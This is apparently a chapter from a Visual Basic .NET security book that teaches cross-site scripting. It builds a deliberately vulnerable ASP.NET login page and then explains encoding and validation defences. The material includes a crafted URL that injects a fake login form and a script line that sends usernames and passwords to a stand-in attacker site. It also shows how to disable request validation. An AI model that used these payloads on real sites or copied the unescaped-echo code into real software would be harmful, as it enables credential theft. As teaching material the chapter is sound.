Cross-Site Scripting Attacks


Cross-site scripting (XSS) attacks affect Web applications such as ASP.NET Web applications. If you allow unchecked input to be combined with HTML— namely HTML script—the results can be just as devastating as input that is combined with SQL statements, which was just demonstrated in the previous section. As a simple example, if you ask for a user name and echo the user name to a welcome page, an attacker can take advantage of the unchecked user name by entering a user name that contains HTML, client-side script, or a combination of both.

Create a sample application vulnerable to a cross-site scripting attack

The following steps demonstrate how an ASP.NET Web application can be made to execute input.

  1. Run Visual Basic .NET, and create a new ASP.NET Web project named ScriptAttack.

  2. Add a new WebForm named WelcomePage.Aspx to the project.

  3. Rename WebForm1.Aspx to ScriptAttack.Aspx.

  4. Add the following controls with their respective names (or IDs) to the ScriptAttack form. Lay out the form similar to the illustration that follows Table 6-4.

    Table 6-4: Controls Added to the ScriptAttack.Aspx Web Form

    Control

    ID

    Text

    Label

    lblWelcome

    Welcome to HTML Script Attack, please log on.

    Label

    lblUserName

    Please enter your user name.

    TextBox

    txtUserName

    Button

    BtnLogon

    Logon

    click to expand

  5. Double-click btnLogon, and add the following code:

    Private Sub btnLogon_Click(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) _
    Handles btnLogon.Click
    Response.Redirect(Me.ResolveUrl("WelcomePage.Aspx") & _
    "?UserName=" & txtUserName.Text)
    End Sub

  6. Open WelcomePage.Aspx, and place a label named lblWelcome at the top of the form. Set the lblWelcome.Text property to an empty string. Lay out the form as shown here:

    click to expand

  7. Double-click WelcomePage, and add the following code to the Page_Load event:

    Private Sub Page_Load(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) _
    Handles MyBase.Load
    ’Put user code to initialize the page here
    lblWelcome.Text = "Hello, " & Request.QueryString("UserName")
    End Sub

  8. Press F5 to run.

  9. Enter your name for the user name, and click Logon. You will be greeted by a page that reads “Hello,” followed by your name. Everything should work as expected. You should see the welcome screen as presented here:

    click to expand

  10. Click the back button on your Web browser, and attack the application like a hacker would. Enter the following user name:

    <SCRIPT LANGUAGE="VBScript">MsgBox "I’m executing script I didn’t intend to run"</ SCRIPT>

  11. Click the Logon button.

    You’ll be greeted with one of two different responses, depending on what version of Visual Basic .NET you’re running. If you’re running Visual Basic .NET 2002, you’ll see a message box that reads “I’m executing script I didn’t intend to run,” as shown in the first illustration below. If you’re running Visual Basic .NET 2003, you’ll see an error message that reads “A potentially dangerous Request.Form value was detected from the client…” as shown in the second illustration below.

    click to expand

    As you can see, Visual Basic .NET 2003 automatically protects your application from cross-site scripting attacks. For example, ASP.NET checks the Request methods—such as Request.Params, Request.Form, and Request.QueryString—to see whether any embedded script or HTML is being passed to the Web form. By default, you’re well protected from a cross-site scripting attack when using Visual Basic .NET 2003. If in your ASP.NET Web application you need to allow the user to supply input that contains HTML or SCRIPT, you can turn off automatic validation by setting the ValidateRequest @Page directive to false. The following steps show how to turn off Request object validation—in effect, turn off default cross-site scripting validation—in the ScriptAttack sample created previously.

    Note

    Because the ValidateRequest attribute is new to Visual Basic .NET 2003 and is not supported by Visual Basic .NET 2002, you cannot turn on Request object validation in Visual Basic .NET 2002 by setting ValidateRequest = “true”. You’ll encounter an error if you attempt to do so. The techniques described later in this chapter show how you can validate Request object input using either Visual Basic .NET 2002 or Visual Basic .NET 2003.

Turn off Request object validation for Visual Basic .NET 2003

  1. Open ScriptAttack.Aspx, and view the page as HTML.

  2. Add ValidateRequest = “false” to the @Page directive located at the top of the file. The @Page directive should appear as follows after you have made the change (line breaks added only for clarity):

    <%@ Page Language="vb" ValidateRequest="false" AutoEv-
    entWireup="false" Codebehind="ScriptAttack.aspx.vb" Inher-
    its="ScriptAttack.WebForm1"%>

    Warning

    You should never set the ValidateRequest page directive to false unless you have a very good reason to do so. For example, if you have an ASP.NET Web page that accepts HTML formatted text submitted by the client browser, you’ll need to turn off request validation (as shown previously) for the formatted text (containing HTML tags) to be accepted by the ASP.NET page. As a consequence of turning off automatic request validation, you’ll need to write code that checks the incoming HTML and verifies that it is free of any potentially damaging HTML script—particularly if the HTML is later displayed by the ASP.NET application. For example, at a minimum you should write code that checks to make sure the incoming HTML does not contain any embedded <SCRIPT> tags. In addition, you should check for anchor <A> tags containing <HREF> links to other pages where information could be sent as part of a query string to another page. Also be wary of HTML containing event attributes such as OnLoad or OnClick that could directly execute script outside of a <SCRIPT> tag. If you take the responsibility of accepting HTML from a client application, you bear the responsibility of verifying that the incoming HTML is safe from a cross-site scripting attack.

When HTML Script Injection Becomes a Problem

In the ScriptAttack sample application shown previously (assuming ValidateRequest is turned off), who is being hurt? The example is harmless because you can hurt only yourself by providing script input, right? Well, wrong. The real hurt comes when you’re asked to click an HTML link that secretly injects HTML or script. What if an attacker sent a customer of yours a link to where the WelcomePage.Aspx page lives on your company’s Web site? For example, a friendly link might be embedded in e-mail as: http://www.example.yourcompany.com. But the link might actually be shorthand for the following link:

 http://www.example.yourcompany.com/WelcomePage.Aspx?UserName=</span></  form><P><script language="VBScript">%0D%0ASub OnClick()%0D%0AMsgBox  “Password="%20%26%20document.all(“txtPassword”).value%0D%0AEnd Sub%0D%0A</  script>%0D%0A<BR><BR><BR><span height:23px;width:141px">UserName</ span><P><input name="txtUserName”  type="text” height:31px;width:245px” /  ><P><span height:23px;width:141px">Password</ span><P><input name="txtPassword” ype="text” height:31px;width:245px” /><P><input OnClick="OnClick()” type="button”  name="btnLogon” value="Logon” height:34px;width:106px” />

Note

If you want to see what happens when entering this link into your Web browser to work against the ScriptAttack Web application created earlier, copy and paste the link from CH06_AvoidingAttacks\ScriptAttackAddress.Txt. If you are using Visual Basic .NET 2003, you will need to set the ValidateRequest attribute to false as shown previously.

When your customer clicks the link, she’ll be greeted by the Welcome page, where the user name and password text boxes have been injected by the attacker as shown in Figure 6-1. The customer enters her user name and password and clicks the Logon button. The user name and password information is then sent to the attacker’s Web site. With this information in hand, the attacker can steal the customer’s identity by logging on to your Web site as that user. If your Web site is an on-line shopping site, for example, the attacker could make a number of purchases with the customer’s credit card, cached conveniently by your on-line shopping site, and have the purchases sent to his address (probably not the brightest approach unless the attacker wants to get caught) or some other random address.

click to expand
Figure 6-1: The user name and password fields injected by the attacker’s user name

Let’s break down the preceding information and see how the attacker created the HTML link that he sent to one of your company’s Web site customers:

  • The first part of the string is the HTTP address for your company: www.example.yourcompany.com.

  • The HTTP address is followed by a pointer to your Visual Basic .NET WelcomePage.Aspx page.

  • The WelcomePage.Aspx is passed a parameter named UserName, which appears immediately after the question mark. Remember that in the Page_Load event, the WelcomePage.Aspx sets the UserName value into a label to display the user’s name on the Welcome page.

  • The rest of the gibberish after the UserName=assignment is the user’s name, a mix of VBScript and HTML to create a logon screen and spoof the user into entering her user name and password, as shown in Figure 6-1. For demonstration purposes, the attacker has inserted a (VBScript) MsgBox statement revealing the user’s password.

If the user enters her user name and password, all the attacker needs to do is send that information to a location from which he can view it. For example, instead of using the MsgBox command to show the password to the user, the attacker could use the document.URL command to send the user name and password to his own site. This is a classic example of a cross-site scripting attack, where information from one Web site is sent to another Web site without the user’s authorization. For example, the attacker could replace the MsgBox statement contained in the preceding VBScript code with the following statement:

document.URL = “http://www.example.AttackersWebSite.Com?username=“ & document.all(“txtUserName”).Value & “& pwd=“ & document.all(“txtPassword”).Value

The attacker could then temporarily switch to his Web site by setting the URL property shown in the previous example, capture the user’s name and password, and immediately redirect the HTML page back to your company’s Web site so quickly that your customer would never know something was amiss.

Defensive Techniques for Cross-Site Scripting Attacks

There are a few simple techniques you can use to prevent cross-site scripting attacks: Server.HtmlEncode, Server.UrlEncode, and the ASP.NET validator controls. You can use Server.HtmlEncode to protect input that is being displayed as part of an HTML page, and you can use Server.UrlEncode to protect input that is being used as part of a URL, such as a query string value passed to another Web page. You can also validate the content and length of input by using the ASP.NET validation controls. In addition, you should use standard input validation techniques as described in Chapter 7 to check the value—such as the Text property value—of all input controls, including hidden controls, contained on a Web form.

Use Server.HtmlEncode and Server.UrlEncode

Embedding script or any other HTML requires that the attacker include HTML tags as part of the input. Going back to the original ScriptAttack example, you could enter the following HTML as your user name when logging on, which would end up showing a message box—assuming the ValidateRequest @Page attribute is set to false for Visual Basic .NET 2003 applications:

<SCRIPT LANGUAGE="VBScript">MsgBox “I’m executing script I didn’t intend to run"</SCRIPT>

Your browser processes the HTML by recognizing special symbols—such as the less-than sign (<) and greater-than sign (>)—which when placed around words such as FONT, INPUT, or SCRIPT form a recognizable HTML tag. This causes the browser to take special action, such as adding formatting to the text, displaying a button, or executing script.

<SPAN><I’m HTML></SPAN>

You find that nothing displays because the browser interprets <I’m HTML> as a tag it doesn’t recognize and discards it. To use literal symbols such as these in your code, HTML provides an alternate way of specifying the symbols known as HTML entities (when found in HTML) or escape sequences (when found in a URL). For example, you can use &lt; to specify a literal less-than sign (<)—where lt is shorthand for less than; &gt; is used to specify a literal greater- than sign (>). You can display <I’m HTML> on an HTML page by changing the HTML shown previously to:

<SPAN>&lt;I’m HTML&gt;</SPAN>

Visual Basic .NET provides the Server.HtmlEncode and Server.UrlEncode methods as a means of automatically replacing special HTML or URL characters with their literal or escaped counterparts. As an example, Table 6-5 shows the symbols that are replaced when you pass a string to the Server.HtmlEncode method.

Table 6-5: Server.HtmlEncode Replacement Scheme

HTML Character

Replaced With

<

&lt;

>

&gt;

&quot;

&apos;

&

&amp;

If you pass the following string to Server.HtmlEncode

<SCRIPT LANGUAGE="VBScript">MsgBox “I’m executing script I didn’t intend to run"</SCRIPT>

the resulting string will be:

&lt;SCRIPT LANGUAGE=&quot;VBScript&quot;&gt;MsgBox &quot;I’m executing script I didn’t intend to run&qu ot;&lt;/SCRIPT&gt;

When displayed in the browser, the escaped tags won’t be processed as HTML tags and will read literally as:

<SCRIPT LANGUAGE= “VBScript">MsgBox “I’m executing script I didn’t intend to run"</SCRIPT>

Going back to the ScriptAttack application, one way to prevent the user’s input from doing anything damaging would be to call Server.UrlEncode, taking the user name as input. For example, change the code in step 5 (shown previously) from

Response.Redirect(Me.ResolveUrl("WelcomePage.Aspx)" & _
"?UserName=" & txtUserName.Text)

to

Response.Redirect(Me.ResolveUrl("WelcomePage.Aspx") & _
"?UserName=" & Server.UrlEncode(txtUserName.Text))

Note

As stated previously, Visual Basic .NET 2003 Web applications are automatically protected from cross-site scripting attacks because the ValidateRequest @Page attribute is set to true for all ASP.NET Web pages by default. Does this mean you can skip the advice being offered here in regard to using Server.HtmlEncode and Server.UrlEncode? No, you shouldn’t. You should use these methods as a defense-in-depth measure.

Server.HtmlEncode and Server.UrlEncode offer additional protection for your application specifically targeted to each piece of input supplied to your application; whereas, the ValidateRequest attribute is applied to the entire page, across all inputs, and not applied to any specific input. By using these methods in your code, you make an explicit statement as to what input should never contain HTML tags. If at some point in the future you or a co-worker adds a feature—such as a text box to the Web page—that needs to accept embedded HTML, you will need to turn ValidateRequest off for this Web page. If you had diligently added calls to Server.HtmlEncode and Server.UrlEncode to protect all other controls and inputs (via the Request object), you would have minimized the avenues for attack—also known as reducing the attack surface. In addition, you avoid exposing all controls and Request object inputs to a cross-site scripting attack in the event that someone unknowingly sets the ValidateRequest attribute to false.

However, this doesn’t completely solve the problem because, as shown earlier, you could bypass the main logon screen and jump straight to the WelcomePage.Aspx, which displays the user name from the Page_Load event by using the following statement:

lblWelcome.Text = “Hello, “ & Request.QueryString(“UserName”)

To completely solve the problem, you should add a call to Server.HtmlEncode to this code as well. Change the preceding code to:

lblWelcome.Text = "Hello, " _
& Server.HtmlEncode(Request.QueryString("UserName"))

A recommended practice is that anywhere you’re using an element in the Request.QueryString collection, you should pass it to Server.HtmlEncode before it is displayed.

Important

As part of reviewing your code for security issues, look for all places where you use Request.QueryString to obtain an input parameter and place a call to Server.HtmlEncode around them.

Check All Input for Content and Length

Why allow input such as a user name to contain characters it shouldn’t contain anyway? You can use a regular expression to validate the input in order to ensure no unexpected symbols are present in the user name. In addition, you should limit all input to a reasonable length. ASP.NET simplifies the task of checking input by providing a number of validation controls, including RequiredFieldValidator, CompareValidator, RangeValidator, RegularExpressionValidator, and CustomValidator controls. Chapter 7 shows how you can use these validator controls to protect an ASP.NET Web application such as the ScriptAttack sample application from unwanted input.




Security for Microsoft Visual Basic  .NET
Security for Microsoft Visual Basic .NET
ISBN: 735619190
EAN: N/A
Year: 2003
Pages: 168

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net